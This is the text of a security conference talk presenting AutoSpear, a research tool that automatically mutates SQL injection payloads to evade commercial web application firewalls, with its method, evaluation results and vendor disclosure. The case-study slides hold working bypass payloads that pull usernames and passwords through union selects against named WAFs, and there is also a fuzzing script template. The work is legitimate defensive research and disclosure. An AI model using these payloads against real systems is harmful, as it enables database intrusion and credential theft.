AutoSpear: Towards Automatically Bypassing and Inspecting Web Application Firewalls

Zhenqing Qu (Zhejiang University)
Xiang Ling (Institute of Software, Chinese Academy of Sciences)
Chunming Wu (Zhejiang University)
Zhenqing Qu
- Graduate student at Zhejiang University
- CTF player at Team AAA
- Research interest: web security and data-driven security

@u21h2

Xiang Ling
- Research Associate at ISCAS
- Research interest: AI security, data-driven security, web security and program analysis
- Published at: IEEE S&P, INFOCOM, TNNLS, TKDD, and TOPS, etc.

https://ryderling.github.io/

Chunming Wu
- Professor at Zhejiang University
- Associate Director of the Research Institute of Computer System Architecture and Network Security
- Research interest: network security, reconfigurable networks and next-generation network infrastructures
- Published at: ACM CCS, IEEE S&P, USENIX, INFOCOM, ToN, etc.
Agenda

- Web attacks and WAF
- WAF bypass
- AutoSpear: an automatic bypassing and inspecting tool for WAF
- Evaluation and findings
- Disclosure
Agenda

- Web attacks and WAF
- WAF bypass
- AutoSpear: an automatic bypassing and inspecting tool for WAF
- Evaluation and findings
- Disclosure
# Web Security Risks

<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>A1</td>
<td><strong>Injection</strong></td>
<td><strong>Injection</strong></td>
<td>Broken Access Control</td>
</tr>
<tr>
<td>A2</td>
<td>Broken Authentication and Session Management</td>
<td>Broken Authentication</td>
<td>Cryptographic Failures</td>
</tr>
<tr>
<td>A3</td>
<td>Cross-Site Scripting (XSS)</td>
<td>Sensitive Data Exposure</td>
<td><strong>Injection</strong></td>
</tr>
<tr>
<td>A4</td>
<td>Insecure Direct Object References</td>
<td>XML External Entities (XXE)</td>
<td>Insecure Design</td>
</tr>
<tr>
<td>A5</td>
<td>Security Misconfiguration</td>
<td>Broken Access Control</td>
<td>Security Misconfiguration</td>
</tr>
<tr>
<td>A6</td>
<td>Sensitive Data Exposure</td>
<td>Security Misconfiguration</td>
<td>Vulnerable and Outdated Components</td>
</tr>
<tr>
<td>A7</td>
<td>Missing Function Level Access Control</td>
<td>Cross-Site Scripting (XSS)</td>
<td>Identification and Authentication Failures</td>
</tr>
<tr>
<td>A8</td>
<td>Cross-Site Request Forgery (CSRF)</td>
<td>Insecure Deserialization</td>
<td>Software and Data Integrity Failures</td>
</tr>
<tr>
<td>A9</td>
<td>Using Components with Known Vulnerabilities</td>
<td>Using Components with Known Vulnerabilities</td>
<td>Security Logging and Monitoring Failures</td>
</tr>
<tr>
<td>A10</td>
<td>Unvalidated Redirects and Forwards</td>
<td>Insufficient Logging&amp;Monitoring</td>
<td>Server-Side Request Forgery (SSRF)</td>
</tr>
</tbody>
</table>

https://owasp.org/www-project-top-ten/
Web Application Firewall (WAF)

- Normal Request
  - Client
  - WAF
  - Gateway
  - Back-end Script
  - Origin Server
  - DB

- Attack Request
  - Attacker
  - WAF
  - 403 Forbidden
WAF and WAF-as-a-service

- Signature-based WAF (rely on pre-defined rules by domain experts)
  - regular-expression based (e.g., ModSecurity CRS)
  - semantic-analysis based (lexical/syntax, e.g., libinjection)

- ML-based WAF (rely on previous collected and labelled datasets)
  - NLP + RF/SVM/CNN/RNN/GNN … …

Traditional WAF:
- Deploying
- Configuring
- Updating

WAF + Security-as-a-service → WAF-as-a-service
When I submitted my session content, I was blocked by Cloudflare used by blackhat.com
Agenda

- Web attacks and WAF
- WAF bypass
- AutoSpear: an automatic bypassing and inspecting tool for WAF
- Evaluation and findings
- Disclosure
Trade-off between FP and FN → Bypass

“No System Is Safe”
WAF Bypass

- **Architecture-Level**
  - Directly access to the origin server
  - Disguise client IP as a WAF e.g., https://github.com/RyanJarv/cdn-proxy

- **Protocol-Level**
  - Transfer-Encoding: chunked
  - HTTP Request Smuggling

- **Payload-Level**
  - Transform the original payload:
    - change the case of letters / add semantic nops (e.g., comments) / ...
WAF Bypass

- Payload-Level ➔ Our Focus: The most Common and Universal way
  - Transform the original payload:
    change the case of letters / add semantic nops (e.g., comments) / …

How to automate it?

1’ union select foo from bar #
⇒ 1’ uNion sEleCt foo fROm bar #
⇒ 1’ uNion/*foo*/sEleCt foo/*bar*/fROm bar #
Even if we find a valid keyword, WAF still will block it after being inserted into the entire payload.
Semi-Auto: Handcrafted **multi-point** fuzzing

import requests
blocked_url = "https://examples.com/getInfo?uid=1' or 1 = 1 -- "
fuzzing_template = "https://examples.com/getInfo?uid=1'{}}{{}{}} -- "
dict_of_space = ["\/*\/*", "\\n", "\\t"]
dict_of_or = ["/!*or*/", "or", "OR", "oR"]
dict_of_1equals1 = ["True", "'a' = 'a'", "0xbeef=48879"]
for pos1 in dict_of_space:
    for pos2 in dict_of_or:
        for pos3 in dict_of_space:
            for pos4 in dict_of_1equals1:
                current_url = fuzzing_template.format(pos1, pos2, pos3, pos4)
                print(current_url)
                ... # Send this url and judge whether it is blocked by WAF

1'\noR+0xbeef=48879--
1'/**/oR\tTrue--
1'/*or*///*/'a' = 'a'--

- Attackers need to generate mutated keywords manually
- This is similar to brute-force search, which is inefficient
Semi-Auto: SQLMap tamper scripts

<table>
<thead>
<tr>
<th>Tamper</th>
<th>Example</th>
</tr>
</thead>
<tbody>
<tr>
<td>equal 2 like</td>
<td>where id = 1 -&gt; where id like 1</td>
</tr>
<tr>
<td>multiple spaces</td>
<td>1 union select foo -&gt; 1 union select foo</td>
</tr>
<tr>
<td>random comments</td>
<td>1 union select foo -&gt; 1 /<em>kk</em>/ union select /<em>ff</em>/foo</td>
</tr>
<tr>
<td>space 2 blank</td>
<td>1 union select foo -&gt; 1%0Aunion%0Cselect foo</td>
</tr>
<tr>
<td>upper case</td>
<td>1 union select foo -&gt; 1 UNION SELECT FOO</td>
</tr>
<tr>
<td>lower case</td>
<td>1 UNION SELECT FOO -&gt; 1 union select foo</td>
</tr>
<tr>
<td>...</td>
<td>...</td>
</tr>
</tbody>
</table>

```python
python sqlmap.py -u "https://examples.com/getInfo?uid=1" --tamper "space2comment,uppercase"
```

- Attackers need to choose tampers manually; SQLMap cannot select them intelligently
- Multiple tampers cannot work well together; Tampers can only mutate all locations within the payload
- ... ...
Full-Auto(?): WAF-A-MoLE [1]

- String-based Mutation

<table>
<thead>
<tr>
<th>Operator</th>
<th>Example</th>
</tr>
</thead>
<tbody>
<tr>
<td>Case Swapping</td>
<td>CS(admin OR 1=1#) → ADmIn OR 1=1#</td>
</tr>
<tr>
<td>Whitespace Substitution</td>
<td>WS(admin OR 1=1#) → admin\n OR \t 1=1#</td>
</tr>
<tr>
<td>Comment Injection</td>
<td>CI(admin OR 1=1#) → admin/**/OR 1=1#</td>
</tr>
<tr>
<td>Comment Rewriting</td>
<td>CR(admin/**/OR 1=1#) → admin/<em>abc</em>/OR 1=1#xyz</td>
</tr>
<tr>
<td>Integer Encoding</td>
<td>IE(admin OR 1=1#) → admin OR 0x1=1#</td>
</tr>
<tr>
<td>Operator Swapping</td>
<td>OS(admin OR 1=1#) → admin OR 1 LIKE 1#</td>
</tr>
<tr>
<td>Logical Invariant</td>
<td>LI(admin OR 1=1#) → admin OR 1=1 AND 2&lt;&gt;3#</td>
</tr>
</tbody>
</table>

- Priority Queue-based Optimization

Figures from:

- String-based Mutation from [1]

- Reinforcement Learning-based Optimization

---

Figures from:


Dilemma 1: String-based Mutation (Match and Generate)

The regular-based rule descriptions (i.e., rule-based grammar) in above methods cannot fully cover the program-language based attack payloads (e.g., SQLi payloads).
Dilemma 1: String-based Mutation *(Match and Generate)*

Too few:

- the code snippet of a mutation operator in WAF-A-MoLE

```python
def change_tautologies(payload):
    results = list(re.finditer(r'\[?<=[^\\d\\w\\x]d+\[?=[^\\\\d\\w\\x]\\d+\(=[^\\\\d\\w\\x]\\)\]=\1', payload))
```

<table>
<thead>
<tr>
<th>Payload</th>
<th>Example</th>
</tr>
</thead>
<tbody>
<tr>
<td>1' or 1=1 --</td>
<td>✅</td>
</tr>
<tr>
<td>1' or 1= 1 --</td>
<td>✖️</td>
</tr>
<tr>
<td>1' or 1 =1 --</td>
<td>✖️</td>
</tr>
<tr>
<td>1' or 1 = 1 --</td>
<td>✖️</td>
</tr>
<tr>
<td>1' or 'a'='a'--</td>
<td>✖️</td>
</tr>
<tr>
<td>1' or -1=-1 --</td>
<td>✖️</td>
</tr>
<tr>
<td>1' or 1.1=1.1--</td>
<td>✅</td>
</tr>
<tr>
<td>1' or 1.1 = 1.1--</td>
<td>✖️</td>
</tr>
</tbody>
</table>

Too much:

- `rl`ike → `r=`
- `port` → `p||t`
- `order` → `OR der`

RegEx: `/(<=[^\\d\\w\\x])d+([=[^\\\\d\\w\\x]])=\1/`
Dilemma 2: Optimization

Previous work:

- Brute-force Search
  Not efficient
- Priority Queue-based Optimization
  Not suitable for real-world WAF (block-box)
- RL-based Optimization
  Not suitable for real-world WAF (block-box)
  A training process is necessary

Adversarial ML:

- Gradient-based optimization
  Not suitable our black-box problem-space attack
Challenges

- **Semantic-preserving Mutation Method**
  - Preserve the original **functionality** and **maliciousness** of the initial payload

- **Optimization** Method suitable for black-box attacks
  - Training-free
  - Generalizability for different WAFs
  - Malicious scores reported by WAF are not necessary (black-box)
Agenda

- Web attacks and WAF
- WAF bypass
- AutoSpear: an automatic bypassing and inspecting tool for WAF
- Evaluation and findings
- Disclosure
Payload

URL

http://www.example.com:80/path/to/myfile.html?key1=value1&key2=value2#SomewhereInTheDocument

Parameters

name=david
country=china
uid=1

SQLi payload

uid=1' or 1 = 1
uid=1' union select null, database()
uid=1' union select null, password from users

editable part
(1) Hierarchical Tree Representation

1. Divide the SQLi payload into 3 modules
   - Left boundary
   - SQLi query
   - Right boundary

2. Remain boundaries unchanged

3. Represent query with a hierarchical tree
   - Each leaf node is the atomic token in SQL
   - Each parent (non-leaf) node is a SQL statement that assembles all tokens from its ordered child nodes

We can perform more fine-grained and customized processing for each node according to its unique characteristics and constraints.
(2) Mutation with Context-free Grammar

A weighted mutation strategy based on the context-free grammar (CFG) to generate a set of candidate nodes / sub-trees.

CFG grammars for each semantic type of SQLi Hierarchical Tree.

<table>
<thead>
<tr>
<th></th>
<th>A</th>
<th>B</th>
<th>C</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>DML or 1</td>
<td>DML OR</td>
<td>Comment /<em>1or</em>/</td>
</tr>
<tr>
<td>2</td>
<td>Taut 1 = 1</td>
<td>Taut 2 =&gt; 3</td>
<td>Bool True</td>
</tr>
<tr>
<td>3</td>
<td>Integer 1</td>
<td>Integer 0x1</td>
<td>DML select 1</td>
</tr>
<tr>
<td>4</td>
<td>Comment /<em>foo</em>/</td>
<td>String 'foo'</td>
<td>DML like</td>
</tr>
<tr>
<td>5</td>
<td>Integer 1</td>
<td>Integer 'name'</td>
<td>Integer 0x1</td>
</tr>
</tbody>
</table>

...
## Mutation with Context-free Grammar

<table>
<thead>
<tr>
<th>Operator</th>
<th>Example</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Case Swapping</strong></td>
<td>or 1 = 1 → oR 1 = 1</td>
</tr>
<tr>
<td><strong>Whitespace Substitution</strong></td>
<td>or 1 = 1 → \tor1\n=1</td>
</tr>
<tr>
<td><strong>Comment Injection</strong></td>
<td>or 1 = 1 → /<em>foo</em>/or 1 =/<em>bar</em>/1</td>
</tr>
<tr>
<td><strong>Comment Rewriting</strong></td>
<td>/<em>foo</em>/or 1 = 1 → /<em>1.png</em>/or 1 = 1</td>
</tr>
<tr>
<td><strong>Integer Encoding</strong></td>
<td>or 1 = 1 → or 0x1 = 1</td>
</tr>
<tr>
<td><strong>Operator Swapping</strong></td>
<td>or 1 = 1 → or 1 like 1</td>
</tr>
<tr>
<td><strong>Logical Invariant</strong></td>
<td>or 1 = 1 → or 1 = 1 and 'a' = 'a'</td>
</tr>
<tr>
<td><strong>Inline Comment</strong></td>
<td>or 1 = 1 → /*!or/ 1 = 1</td>
</tr>
<tr>
<td></td>
<td>union select → /<em>!union</em>/ /<em>!50000select</em>/</td>
</tr>
<tr>
<td><strong>Where Rewriting</strong></td>
<td>where xxx → where xxx and True</td>
</tr>
<tr>
<td></td>
<td>where xxx → where (select 0) or xxx</td>
</tr>
<tr>
<td><strong>DML Substitution</strong></td>
<td>or 1 = 1 →</td>
</tr>
<tr>
<td></td>
<td>and name = 'foo' → &amp;&amp; name = 'foo'</td>
</tr>
<tr>
<td><strong>Tautology Substitution</strong></td>
<td>1 = 1 → ‘foo’ = ‘foo’</td>
</tr>
<tr>
<td></td>
<td>‘1’ = ‘1’ → 2 &lt;&gt; 3</td>
</tr>
<tr>
<td></td>
<td>1 = 1 → (select ord(‘r’) regexp 114) = 0x1</td>
</tr>
</tbody>
</table>

* means that the operator is flexible for different request methods, while others are fixed.
(3) Monte-carlo Tree Search Guided Searching

Employ the **Monte-Carlo tree search** (MCTS) algorithm to guide the searching process, *i.e.*, combining the mutation replacements of each node.

MCTS is to continuously **build a search tree**, where each node represents a **state** of the SQLi hierarchical tree, and the **edges** correspond to transformations, *i.e.*, replacements of the node in the SQLi hierarchical tree.

I. Selection
II. Expansion
III. Simulation
IV. Back-propagation
(3) Monte-carlo Tree Search Guided Searching

I. Selection (Tree Policy)
- Play a few rounds
- Finish the game

II. Expansion (Tree Policy)
- II. Expansion (Tree Policy)
- Reach Max Step

III. Simulation (Default Policy)

IV. Backpropagation

MCTS Root Node

All Selections Chain
SQLi payload which can bypass WAF
Agenda

- Web attacks and WAF
- WAF bypass
- AutoSpear: an automatic bypassing and inspecting tool for WAF
- Evaluation and findings
- Disclosure
Dataset

● Hand-constructed (to verify the semantic of the generated payloads)
  - Count: 100 → 10000
  - union-based / error-based / blind injection …

● SIK (from Kaggle, to evaluate the attack success rate)
  - Count: 28008

● HPD (from Github, to evaluate the attack success rate)
  - Count: 30156
  - https://github.com/Morzeux/HttpParamsDataset
  - CSIC / SQLMap …
Verify Semantic-preserving (Dynamic Method)

- By observing the **execution result** of the payloads, verify semantic-preserving (functionality and maliciousness)
- Multiple run-time envs:
  - **Request Method**: GET / GET(JSON) / POST / POST(JSON)
  - **Back-end** (with SQLi vulnerability): Python 2.x / Python 3.x / PHP 5.x / PHP 7.x
  - **Database**: MySQL 5.x / MySQL 8.x
  - **Dataset**: Generate 10000 (from 100) unique payloads

- **Result**
  - **All** payloads generated by AutoSpear can maintain the original semantics (still **valid**)
Target WAFs

Based on the AWS ACL and the managed rules provided by these vendors

### Request Methods

<table>
<thead>
<tr>
<th>Request Method</th>
<th>/<em>#</em>/</th>
<th>\n</th>
<th>\t</th>
<th>%0A %09 %0C</th>
<th>&amp;&amp;</th>
<th>%26%26</th>
</tr>
</thead>
<tbody>
<tr>
<td>GET</td>
<td></td>
<td></td>
<td></td>
<td>✔</td>
<td></td>
<td>✔</td>
</tr>
<tr>
<td>GET (JSON)</td>
<td></td>
<td></td>
<td></td>
<td>✔</td>
<td></td>
<td>✔</td>
</tr>
<tr>
<td>POST</td>
<td>✔</td>
<td></td>
<td></td>
<td>✔</td>
<td></td>
<td>✔</td>
</tr>
<tr>
<td>POST (JSON)</td>
<td>✔</td>
<td>✔</td>
<td></td>
<td>✔</td>
<td></td>
<td>✔</td>
</tr>
</tbody>
</table>

Trial version with full functionality

Pro version

PL1
CRS v3.3.2
Mods v2.9.5
# Results - False Negative Rate

<table>
<thead>
<tr>
<th>Request Method</th>
<th>AWS</th>
<th>F5</th>
<th>CSC</th>
<th>Fortinet</th>
<th>Cloudflare</th>
<th>Wallarm</th>
<th>ModSecurity</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>HPD</td>
<td>SIK</td>
<td>HPD</td>
<td>SIK</td>
<td>HPD</td>
<td>SIK</td>
<td>HPD</td>
</tr>
<tr>
<td>GET</td>
<td>5.3</td>
<td>8.2</td>
<td>40.7</td>
<td>45.1</td>
<td>19.7</td>
<td>37.1</td>
<td>8.8</td>
</tr>
<tr>
<td>GET(JSON)</td>
<td>60.2</td>
<td>63.4</td>
<td>40.5</td>
<td>43.7</td>
<td>20</td>
<td>37.1</td>
<td>9.7</td>
</tr>
<tr>
<td>POST</td>
<td>3.4</td>
<td>14.5</td>
<td>35.6</td>
<td>41.9</td>
<td>19.7</td>
<td>37.1</td>
<td>8.8</td>
</tr>
<tr>
<td>POST(JSON)</td>
<td>60.2</td>
<td>63.4</td>
<td>35.4</td>
<td>40.5</td>
<td>20</td>
<td>37.1</td>
<td>9.7</td>
</tr>
</tbody>
</table>

## Remarks

- POST > GET  non-JSOn > JSON

- F5/CSC/Fortinet/Wallarm treat the four request methods equally
- Cloudflare implements different strategies based on whether the request method is GET or POST
- AWS processes the payload separately according to whether the request parameter is in JSON type
- ModSecurity processes requests via GET (JSON) separately
## Results - Attack Success Rate (within 100 queries / payload)

<table>
<thead>
<tr>
<th>Request Method</th>
<th>AWS</th>
<th>F5</th>
<th>CSC</th>
<th>Fortinet</th>
<th>Cloudflare</th>
<th>Wallarm</th>
<th>ModSecurity</th>
</tr>
</thead>
<tbody>
<tr>
<td>GET</td>
<td>18.69</td>
<td>82.46</td>
<td>77.33</td>
<td>53.4</td>
<td>21.33</td>
<td>18.76</td>
<td>11.61</td>
</tr>
<tr>
<td>GET(JSON)</td>
<td><strong>89.45</strong></td>
<td>83.87</td>
<td>77.38</td>
<td>83.17</td>
<td>37.79</td>
<td>18.76</td>
<td>49.06</td>
</tr>
<tr>
<td>POST</td>
<td>30.02</td>
<td>83.7</td>
<td>75.22</td>
<td>53.4</td>
<td>35.92</td>
<td>17.28</td>
<td>10.61</td>
</tr>
<tr>
<td>POST(JSON)</td>
<td><strong>89.45</strong></td>
<td>85.76</td>
<td>74.5</td>
<td>83.17</td>
<td>35.92</td>
<td>17.4</td>
<td>10.61</td>
</tr>
<tr>
<td>GET</td>
<td>14.39</td>
<td>79.6</td>
<td>70.27</td>
<td>55.19</td>
<td>32.43</td>
<td>33.94</td>
<td>10.88</td>
</tr>
<tr>
<td>GET(JSON)</td>
<td><strong>99.73</strong></td>
<td>82.06</td>
<td>70.91</td>
<td>81.24</td>
<td>58.13</td>
<td>34.01</td>
<td>58.32</td>
</tr>
<tr>
<td>POST</td>
<td>31.91</td>
<td>80.72</td>
<td>70.38</td>
<td>55.06</td>
<td>48.77</td>
<td>31.26</td>
<td>9.55</td>
</tr>
<tr>
<td>POST(JSON)</td>
<td><strong>99.73</strong></td>
<td>82.69</td>
<td>71.38</td>
<td>81.28</td>
<td>49.05</td>
<td>32.24</td>
<td>9.55</td>
</tr>
</tbody>
</table>

### Remarks

- **Effective and Efficient**

AutoSpear achieves high ASRs against all WAF-as-a-service.
Inference

Remarks

😊 Four WAFs hosted on AWS are less capable of preventing SQLi.
😊 Wallarm is very effective because it has low FNR and ASR both.
😢 Fortinet has ASR many times higher than FNR, which means that it cannot defend against adversarial attacks very well.

👍
Statement

The above results of vendors are obtained with our limited settings and dataset samples, which cannot fully represent the actual defense effects against all samples in the wild.
## Case Studies – AWS/F5/Cloudflare

<table>
<thead>
<tr>
<th>WAF</th>
<th>Request Method</th>
<th>SQLi Payload</th>
</tr>
</thead>
<tbody>
<tr>
<td>AWS</td>
<td>GET (JSON)</td>
<td>0' union select 1, group_concat(table_name), 3 from information_schema.tables where table_schema=database() --&gt; 0' union select 1, group_concat(column_name), 3 from information_schema.columns where table_name='users' --&gt; 0' union select 1, group_concat(username, 0x3a, password), 3 from users --&gt;</td>
</tr>
<tr>
<td>F5</td>
<td>GET</td>
<td>0' /<em>union</em>/select%0A1, group_concat(table_name), 3 from information_schema.tables where table_schema=database() --&gt; 0' /<em>union</em>/select%091, group_concat(column_name), 3 from information_schema.columns where table_name='users' --&gt; 0' /<em>foo</em>/union select%0A1, group_concat(username, 0x3a, password), 3 from users --&gt;</td>
</tr>
<tr>
<td>Cloudflare</td>
<td>GET (JSON)</td>
<td>0' union/<em>select 1, group_concat(table_name), 3 from information_schema.tables /</em>!where*/ table_schema=database() --&gt; 0' union/<em>select 1, group_concat(column_name), 3 from information_schema.columns where table_name='users' --&gt; 0' union/<em>select 1, group_concat(username, 0x3a, password), 3 /</em>!from</em>/ users --&gt;</td>
</tr>
</tbody>
</table>

### Remarks

Replacing whitespaces with control symbols (\t, \n) can bypass AWS WAF. Furthermore, adding a comment or turn DML into inline comments can bypass F5 and Cloudflare.
Case Studies – ModSecurity(PL1)

Original Payload:
1) where 5232=5232 union all select null,null,null#

Step1: Bypass ModSecurity-Libinjection (semantic-analysis engine):
1) where (select 0) or 5232=5232 union all select null,null,null#

Step2: Bypass ModSecurity-CoreRuleSet (regular-matching engine):
1) where (select 0) or 5232=5232 union all/*foo*/select null,null,null#

Remarks
Bypass both the semantic-analysis engine and the regular-matching engine.
Case Studies - Summary

Method
Analyze all bypass samples based on the hierarchical tree automatically.

Remarks
Effective mutation methods for specific WAFs and different payloads are unique.

Just adding some comments can bypass four WAFs under specific payloads.

Lucky attackers manually using the conclusions can bypass WAF sometimes.

However, in most cases, only a combination of multiple mutations at specific locations takes effect. That is, combining multiple mutation methods, AutoSpear is much more effective in bypassing mainstream WAF-as-a-service solutions due to their vulnerable detection signatures for semantic matching and regular expression matching.
Agenda

● Web attacks and WAF
● WAF bypass
● AutoSpear: an automatic bypassing and inspecting tool for WAF
● Evaluation and findings
● Disclosure
Responsible Disclosure (All vendors confirmed, and 3/7 have fixed)
Responsible Disclosure

TECHSUP-6727 [Emergency]
Anton Kuleshov
quzhouku@gmail.com

K22788490: F5 SIRT Security Researcher Acknowledgement – Attack Signature Improvement

Original Publication Date: Aug 18, 2020
Updated Date: Oct 28, 2021

Anton Kuleshov commented:
We discussed your report on our side and will address it.

Anton Kuleshov resolved this as Fixed.

Please evaluate our service for this request:

Very poor  Poor  Average  Good

Best regards,
Wallarm Support Team

The F5 Security Incident Response Team (F5 SIRT) is pleased to recognize the security researchers who have helped improve attack signatures for Advanced WAF/ASM/NSX App Protect by finding and reporting ways to bypass certain attack signature checks. Each name listed represents an individual or company who has privately disclosed one or more bypass methods to us. The attack signature IDs listed are the attack signatures that F5 adds to or updates in the new attack signature update files based on the researcher’s report.

2021 Acknowledgments

<table>
<thead>
<tr>
<th>Name</th>
<th>Attack Signature Update Files</th>
<th>Attack Signature IDs</th>
</tr>
</thead>
<tbody>
<tr>
<td>Zheng Qu from Zhejiang University &amp; Xiang Ling from Institute of Software, Chinese Academy of Sciences</td>
<td>F5 Rules for AWS WAF - Web exploits OWASP Rules - update 2021-10-14</td>
<td>F5 Rules for AWS WAF - Web exploits OWASP Rules - update 2021-10-14</td>
</tr>
</tbody>
</table>

We have forwarded your report to the team and are waiting on their input.

Thank you,
Wallarm Support
Takeaways

● We prove that WAF-as-a-service can be bypassed in a fully automatic and intelligent manner.

● We propose AutoSpear which utilizes a semantic-based mutation strategy and a heuristic searching strategy suitable for black-box attacks.

● We summarize the various underlying mechanisms of WAFs in the wild and their actual defense effects. In addition, we disclose some general bypass patterns that defenders can employ to improve their products.
Thank You

We will release AutoSpear after all vendors complete the fix process.

https://github.com/u21h2/AutoSpear

Zhenqing Qu (Zhejiang University)
Xiang Ling (Institute of Software, Chinese Academy of Sciences)
Chunming Wu (Zhejiang University)
Question by audience

“How do you configure these WAFs in your evaluation? Are they all in default settings?”

Thanks for the valuable question.

In fact, we deployed our own websites with databases on the Google Cloud Platform and protected them utilizing seven WAFs in turn. The WAFs followed the default configurations. Specifically:

(1) For WAFs (AWS, F5, Fortinet and CSC) that require manual rules configuration, we have enabled the core ruleset and the advanced ruleset for SQL. These managed rules are provided by vendors on the AWS marketplace. We must clarify that the WAFs in this configuration are not exactly the same as the independent WAFs provided by the vendors on their official websites.

(2) For WAFs that do not require extensive configuration, we subscribed to the Pro versions of Cloudflare and Wallarm for complete protection.

(3) For the open-source ModSecurity, we followed the official manual to integrate the CoreRuleSet with its default protection level (i.e., enable the rule-engine and semantic-engine under paranoia-level 1).

Under the above framework, AutoSpear acts as a client to send attack requests to the websites to evaluate WAFs' vulnerabilities. It launched no attacks against any external entities. We did not cause unexpected damage to the real world.